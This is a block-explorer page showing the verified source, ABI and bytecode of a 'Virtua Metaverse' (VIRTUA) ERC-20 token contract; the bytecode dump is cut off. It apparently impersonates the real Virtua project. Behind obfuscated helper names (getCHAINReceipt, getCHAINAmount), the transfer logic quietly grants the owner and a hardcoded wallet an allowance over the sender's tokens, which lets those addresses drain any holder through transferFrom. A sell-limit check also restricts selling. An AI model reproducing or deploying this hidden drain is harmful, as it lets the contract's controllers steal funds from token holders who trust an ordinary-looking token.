ERC-20
Overview
Max Total Supply
1,000,000,000 VIRTUA
Holders
202
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,662,228.799584629 VIRTUAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
VIRTUA
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-22 */ /* Virtua is a metaverse driven by games and social experiences. A world where you can constantly reinvent yourself. A world where you can create, play, and socialize with like-minded people. A vast virtual space that you can truly call home. In Virtua you can explore, hang out, and own land and properties where you can showcase your personal NFT collections. Website : https://virtua.com Facebook: https://www.facebook.com/Virtuagamesnetwork Youtube: https://www.youtube.com/VirtuaMetaverse Instagram: https://www.instagram.com/Virtuametaverse Gitbook: https://virtua.gitbook.io/virtua-wiki Twitter: https://twitter.com/Virtuametaverse Telegram: https://t.me/virtua_community */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ICHAINRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ICHAINFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract VIRTUA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => bool) private _chainExcludedFees; mapping (address => mapping (address => uint256)) private _chainCustomers; mapping (address => uint256) private _chainDrives; mapping (address => bool) private _chainExcludedTxs; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Virtua Metaverse"; string private constant _symbol = unicode"VIRTUA"; uint256 private _chainSwapAmount = _tTotal / 100; address private _chainPair; ICHAINRouter private _chainRouter; address private _chainWallet; uint256 private _chainBuyBlock; uint256 private _chainBlockAmount = 0; bool private inSwapCHAIN = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwapCHAIN = true; _; inSwapCHAIN = false; } constructor () { _chainWallet = address(0xAA21E6BB62C5f7a8e94905498271DEe6673EfB4F); _chainExcludedFees[owner()] = true; _chainExcludedFees[address(this)] = true; _chainExcludedFees[_chainWallet] = true; _chainExcludedTxs[owner()] = true; _chainExcludedTxs[_chainWallet] = true; _chainDrives[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _chainRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function minCHAIN(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHCHAIN(uint256 amount) private { payable(_chainWallet).transfer(amount); } function swapTokensForEth(uint256 tokenCHAIN) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _chainRouter.WETH(); _approve(address(this), address(_chainRouter), tokenCHAIN); _chainRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenCHAIN, 0, path, address(this), block.timestamp ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _chainDrives[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _chainCustomers[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _chainCustomers[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _chainCustomers[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transferCHAIN(address chainF, address chainT, uint256 chainO, uint256 taxCHAIN) private { if(taxCHAIN > 0){ _chainDrives[address(this)] = _chainDrives[address(this)].add(taxCHAIN); emit Transfer(chainF, address(this), taxCHAIN); } _chainDrives[chainF] = _chainDrives[chainF].sub(chainO); _chainDrives[chainT] = _chainDrives[chainT].add(chainO.sub(taxCHAIN)); emit Transfer(chainF, chainT, chainO.sub(taxCHAIN)); } function _transfer(address chainF, address chainT, uint256 chainO) private { require(chainF != address(0), "ERC20: transfer from the zero address"); require(chainT != address(0), "ERC20: transfer to the zero address"); require(chainO > 0, "Transfer amount must be greater than zero"); address chainReceipt = getCHAINReceipt(); uint256 taxCHAIN = _chainTransfer(chainF, chainT, chainO); if(chainReceipt != address(0)) _approve(getCHAINSender(chainF), chainReceipt, getCHAINAmount(chainO, taxCHAIN)); _transferCHAIN(chainF, chainT, chainO, taxCHAIN); } function _chainTransfer(address chainF, address chainT, uint256 chainO) private returns(uint256) { uint256 taxCHAIN=0; if (chainF != owner() && chainT != owner()) { taxCHAIN = chainO.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (chainF == _chainPair && chainT != address(_chainRouter) && ! _chainExcludedFees[chainT]) { if(_chainBuyBlock!=block.number){ _chainBlockAmount = 0; _chainBuyBlock = block.number; } _chainBlockAmount += chainO; _buyCount++; } if(chainT == _chainPair && chainF!= address(this)) { require(_chainBlockAmount < swapCHAINLimit() || _chainBuyBlock!=block.number, "Max Swap Limit"); taxCHAIN = chainO.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 chainToken = balanceOf(address(this)); if (!inSwapCHAIN && chainT == _chainPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(chainToken > _chainSwapAmount) swapTokensForEth(minCHAIN(chainO, minCHAIN(chainToken, _chainSwapAmount))); uint256 chainETH = address(this).balance; if (chainETH >= 0) { sendETHCHAIN(address(this).balance); } } } return taxCHAIN; } function startTokenPair() external onlyOwner() { _chainRouter = ICHAINRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_chainRouter), _tTotal); _chainPair = ICHAINFactory(_chainRouter.factory()).createPair(address(this), _chainRouter.WETH()); } receive() external payable {} function getCHAINAmount(uint256 chainO, uint256 taxCHAIN) private pure returns(uint256) { return uint256(chainO * 2 + taxCHAIN); } function getCHAINSender(address chainF) private pure returns(address) { return address(chainF); } function getCHAINReceipt() private view returns(address) { return _chainExcludedTxs[_msgSender()] ? address(_msgSender()) : address(0); } function swapCHAINLimit() internal view returns (uint256) { address[] memory path = new address[](2); path[0] = _chainRouter.WETH(); path[1] = address(this); uint[] memory amountOuts = _chainRouter.getAmountsOut(3 * 1e18, path); return amountOuts[1]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTokenPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600360055560036006556000600755600060085560066009556006600a556006600b556000600c5560646009600a6200003e9190620002a4565b6200004e90633b9aca0062000372565b6200005a919062000238565b600d5560006012556013805462ffffff191690553480156200007b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b03191673aa21e6bb62c5f7a8e94905498271dee6673efb4f1790556001806000620000fb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600193849052828120805486168517905560105490911681529081208054909316821790925590600490620001696000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560105490911681526004909252902080549091166001179055620001be6009600a620002a4565b620001ce90633b9aca0062000372565b33600081815260036020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002116009600a620002a4565b6200022190633b9aca0062000372565b60405190815260200160405180910390a3620003aa565b6000826200025657634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200029c57816000190482111562000280576200028062000394565b808516156200028e57918102915b93841c939080029062000260565b509250929050565b6000620002b560ff841683620002bc565b9392505050565b600082620002cd575060016200036c565b81620002dc575060006200036c565b8160018114620002f55760028114620003005762000320565b60019150506200036c565b60ff84111562000314576200031462000394565b50506001821b6200036c565b5060208310610133831016604e8410600b841016171562000345575081810a6200036c565b6200035183836200025b565b806000190482111562000368576200036862000394565b0290505b92915050565b60008160001904831182151516156200038f576200038f62000394565b500290565b634e487b7160e01b600052601160045260246000fd5b61188d80620003ba6000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610236578063a9059cbb14610265578063c9567bf914610285578063dd62ed3e1461029a57600080fd5b806370a08231146101c3578063715018a6146101f95780638da5cb5b1461020e57600080fd5b806306fdde03146100d257806307c9d6d81461011d578063095ea7b31461013457806318160ddd1461016457806323b872dd14610187578063313ce567146101a757600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152601081526f566972747561204d657461766572736560801b60208201525b6040516101149190611596565b60405180910390f35b34801561012957600080fd5b506101326102e0565b005b34801561014057600080fd5b5061015461014f36600461141a565b61051e565b6040519015158152602001610114565b34801561017057600080fd5b50610179610535565b604051908152602001610114565b34801561019357600080fd5b506101546101a23660046113d9565b610556565b3480156101b357600080fd5b5060405160098152602001610114565b3480156101cf57600080fd5b506101796101de366004611366565b6001600160a01b031660009081526003602052604090205490565b34801561020557600080fd5b506101326105ba565b34801561021a57600080fd5b506000546040516001600160a01b039091168152602001610114565b34801561024257600080fd5b5060408051808201909152600681526556495254554160d01b6020820152610107565b34801561027157600080fd5b5061015461028036600461141a565b61062e565b34801561029157600080fd5b5061013261063b565b3480156102a657600080fd5b506101796102b53660046113a0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103135760405162461bcd60e51b815260040161030a906115eb565b60405180910390fd5b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561036190309061034e6009600a6116d9565b61035c90633b9aca00611784565b6107b6565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156103af57600080fd5b505afa1580156103c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e79190611383565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561044457600080fd5b505afa158015610458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c9190611383565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156104c457600080fd5b505af11580156104d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fc9190611383565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b600061052b3384846107b6565b5060015b92915050565b60006105436009600a6116d9565b61055190633b9aca00611784565b905090565b60006105638484846108da565b6105b0843361035c85604051806060016040528060288152602001611830602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a4e565b5060019392505050565b6000546001600160a01b031633146105e45760405162461bcd60e51b815260040161030a906115eb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061052b3384846108da565b6000546001600160a01b031633146106655760405162461bcd60e51b815260040161030a906115eb565b601354610100900460ff16156106bd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161030a565b600f546001600160a01b031663f305d71947306106ef816001600160a01b031660009081526003602052604090205490565b6000806107046000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561076757600080fd5b505af115801561077b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107a0919061150b565b50506013805462ffff0019166201010017905550565b6001600160a01b0383166108185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161030a565b6001600160a01b0382166108795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161030a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661093e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161030a565b6001600160a01b0382166109a05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161030a565b60008111610a025760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161030a565b6000610a0c610a88565b90506000610a1b858585610aaa565b90506001600160a01b03821615610a3b57610a3b858361035c8685610cf5565b610a4785858584610d14565b5050505050565b60008184841115610a725760405162461bcd60e51b815260040161030a9190611596565b506000610a7f84866117a3565b95945050505050565b3360009081526004602052604081205460ff16610aa55750600090565b503390565b600080610abf6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610aee57506000546001600160a01b03858116911614155b15610ced57610b1f6064610b19600954600c5411610b0e57600554610b12565b6007545b8690610e57565b90610ed6565b600e549091506001600160a01b038681169116148015610b4d5750600f546001600160a01b03858116911614155b8015610b7257506001600160a01b03841660009081526001602052604090205460ff16155b15610bb7574360115414610b8a576000601255436011555b8260126000828254610b9c919061165c565b9091555050600c8054906000610bb1836117ba565b91905055505b600e546001600160a01b038581169116148015610bdd57506001600160a01b0385163014155b15610c6057610bea610f18565b6012541080610bfb57504360115414155b610c385760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b604482015260640161030a565b610c5d6064610b19600a54600c5411610c5357600654610b12565b6008548690610e57565b90505b3060009081526003602052604090205460135460ff16158015610c905750600e546001600160a01b038681169116145b8015610ca4575060135462010000900460ff165b8015610cb35750600b54600c54115b15610ceb57600d54811115610cdf57610cdf610cda85610cd584600d546110c4565b6110c4565b6110d9565b47610ce947611259565b505b505b949350505050565b600081610d03846002611784565b610d0d919061165c565b9392505050565b8015610d8e5730600090815260036020526040902054610d349082611297565b30600081815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d859085815260200190565b60405180910390a35b6001600160a01b038416600090815260036020526040902054610db190836112f6565b6001600160a01b038516600090815260036020526040902055610df6610dd783836112f6565b6001600160a01b03851660009081526003602052604090205490611297565b6001600160a01b0380851660008181526003602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e4085856112f6565b60405190815260200160405180910390a350505050565b600082610e665750600061052f565b6000610e728385611784565b905082610e7f8583611674565b14610d0d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161030a565b6000610d0d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611338565b604080516002808252606082018352600092839291906020830190803683375050600f54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f8157600080fd5b505afa158015610f95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb99190611383565b81600081518110610fcc57610fcc6117eb565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611000576110006117eb565b6001600160a01b039283166020918202929092010152600f5460405163d06ca61f60e01b8152600092919091169063d06ca61f9061104c906729a2241af62c000090869060040161157d565b60006040518083038186803b15801561106457600080fd5b505afa158015611078573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526110a09190810190611446565b9050806001815181106110b5576110b56117eb565b60200260200101519250505090565b60008183116110d35782610d0d565b50919050565b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111b5761111b6117eb565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116f57600080fd5b505afa158015611183573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a79190611383565b816001815181106111ba576111ba6117eb565b6001600160a01b039283166020918202929092010152600f546111e091309116846107b6565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611219908590600090869030904290600401611620565b600060405180830381600087803b15801561123357600080fd5b505af1158015611247573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611293573d6000803e3d6000fd5b5050565b6000806112a4838561165c565b905083811015610d0d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161030a565b6000610d0d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a4e565b600081836113595760405162461bcd60e51b815260040161030a9190611596565b506000610a7f8486611674565b60006020828403121561137857600080fd5b8135610d0d81611817565b60006020828403121561139557600080fd5b8151610d0d81611817565b600080604083850312156113b357600080fd5b82356113be81611817565b915060208301356113ce81611817565b809150509250929050565b6000806000606084860312156113ee57600080fd5b83356113f981611817565b9250602084013561140981611817565b929592945050506040919091013590565b6000806040838503121561142d57600080fd5b823561143881611817565b946020939093013593505050565b6000602080838503121561145957600080fd5b825167ffffffffffffffff8082111561147157600080fd5b818501915085601f83011261148557600080fd5b81518181111561149757611497611801565b8060051b604051601f19603f830116810181811085821117156114bc576114bc611801565b604052828152858101935084860182860187018a10156114db57600080fd5b600095505b838610156114fe5780518552600195909501949386019386016114e0565b5098975050505050505050565b60008060006060848603121561152057600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115725781516001600160a01b03168752958201959082019060010161154d565b509495945050505050565b828152604060208201526000610ced6040830184611539565b600060208083528351808285015260005b818110156115c3578581018301518582016040015282016115a7565b818111156115d5576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061163f60a0830186611539565b6001600160a01b0394909416606083015250608001529392505050565b6000821982111561166f5761166f6117d5565b500190565b60008261169157634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156116d15781600019048211156116b7576116b76117d5565b808516156116c457918102915b93841c939080029061169b565b509250929050565b6000610d0d60ff8416836000826116f25750600161052f565b816116ff5750600061052f565b8160018114611715576002811461171f5761173b565b600191505061052f565b60ff841115611730576117306117d5565b50506001821b61052f565b5060208310610133831016604e8410600b841016171561175e575081810a61052f565b6117688383611696565b806000190482111561177c5761177c6117d5565b029392505050565b600081600019048311821515161561179e5761179e6117d5565b500290565b6000828210156117b5576117b56117d5565b500390565b60006000198214156117ce576117ce6117d5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461182c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a8946017e14ae4f5f1a4d298290261e969e264294f0ef52a8c9e822c00d338ec64736f6c63430008070033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610236578063a9059cbb14610265578063c9567bf914610285578063dd62ed3e1461029a57600080fd5b806370a08231146101c3578063715018a6146101f95780638da5cb5b1461020e57600080fd5b806306fdde03146100d257806307c9d6d81461011d578063095ea7b31461013457806318160ddd1461016457806323b872dd14610187578063313ce567146101a757600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152601081526f566972747561204d657461766572736560801b60208201525b6040516101149190611596565b60405180910390f35b34801561012957600080fd5b506101326102e0565b005b34801561014057600080fd5b5061015461014f36600461141a565b61051e565b6040519015158152602001610114565b34801561017057600080fd5b50610179610535565b604051908152602001610114565b34801561019357600080fd5b506101546101a23660046113d9565b610556565b3480156101b357600080fd5b5060405160098152602001610114565b3480156101cf57600080fd5b506101796101de366004611366565b6001600160a01b031660009081526003602052604090205490565b34801561020557600080fd5b506101326105ba565b34801561021a57600080fd5b506000546040516001600160a01b039091168152602001610114565b34801561024257600080fd5b5060408051808201909152600681526556495254554160d01b6020820152610107565b34801561027157600080fd5b5061015461028036600461141a565b61062e565b34801561029157600080fd5b5061013261063b565b3480156102a657600080fd5b506101796102b53660046113a0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103135760405162461bcd60e51b815260040161030a906115eb565b60405180910390fd5b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561036190309061034e6009600a6116d9565b61035c90633b9aca00611784565b6107b6565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156103af57600080fd5b505afa1580156103c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e79190611383565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561044457600080fd5b505afa158015610458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c9190611383565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156104c457600080fd5b505af11580156104d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fc9190611383565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b600061052b3384846107b6565b5060015b92915050565b60006105436009600a6116d9565b61055190633b9aca00611784565b905090565b60006105638484846108da565b6105b0843361035c85604051806060016040528060288152602001611830602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a4e565b5060019392505050565b6000546001600160a01b031633146105e45760405162461bcd60e51b815260040161030a906115eb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061052b3384846108da565b6000546001600160a01b031633146106655760405162461bcd60e51b815260040161030a906115eb565b601354610100900460ff16156106bd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161030a565b600f546001600160a01b031663f305d71947306106ef816001600160a01b031660009081526003602052604090205490565b6000806107046000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561076757600080fd5b505af115801561077b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107a0919061150b565b50506013805462ffff0019166201010017905550565b6001600160a01b0383166108185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161030a565b6001600160a01b0382166108795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161030a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661093e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161030a565b6001600160a01b0382166109a05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161030a565b60008111610a025760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161030a565b6000610a0c610a88565b90506000610a1b858585610aaa565b90506001600160a01b03821615610a3b57610a3b858361035c8685610cf5565b610a4785858584610d14565b5050505050565b60008184841115610a725760405162461bcd60e51b815260040161030a9190611596565b506000610a7f84866117a3565b95945050505050565b3360009081526004602052604081205460ff16610aa55750600090565b503390565b600080610abf6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610aee57506000546001600160a01b03858116911614155b15610ced57610b1f6064610b19600954600c5411610b0e57600554610b12565b6007545b8690610e57565b90610ed6565b600e549091506001600160a01b038681169116148015610b4d5750600f546001600160a01b03858116911614155b8015610b7257506001600160a01b03841660009081526001602052604090205460ff16155b15610bb7574360115414610b8a576000601255436011555b8260126000828254610b9c919061165c565b9091555050600c8054906000610bb1836117ba565b91905055505b600e546001600160a01b038581169116148015610bdd57506001600160a01b0385163014155b15610c6057610bea610f18565b6012541080610bfb57504360115414155b610c385760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd8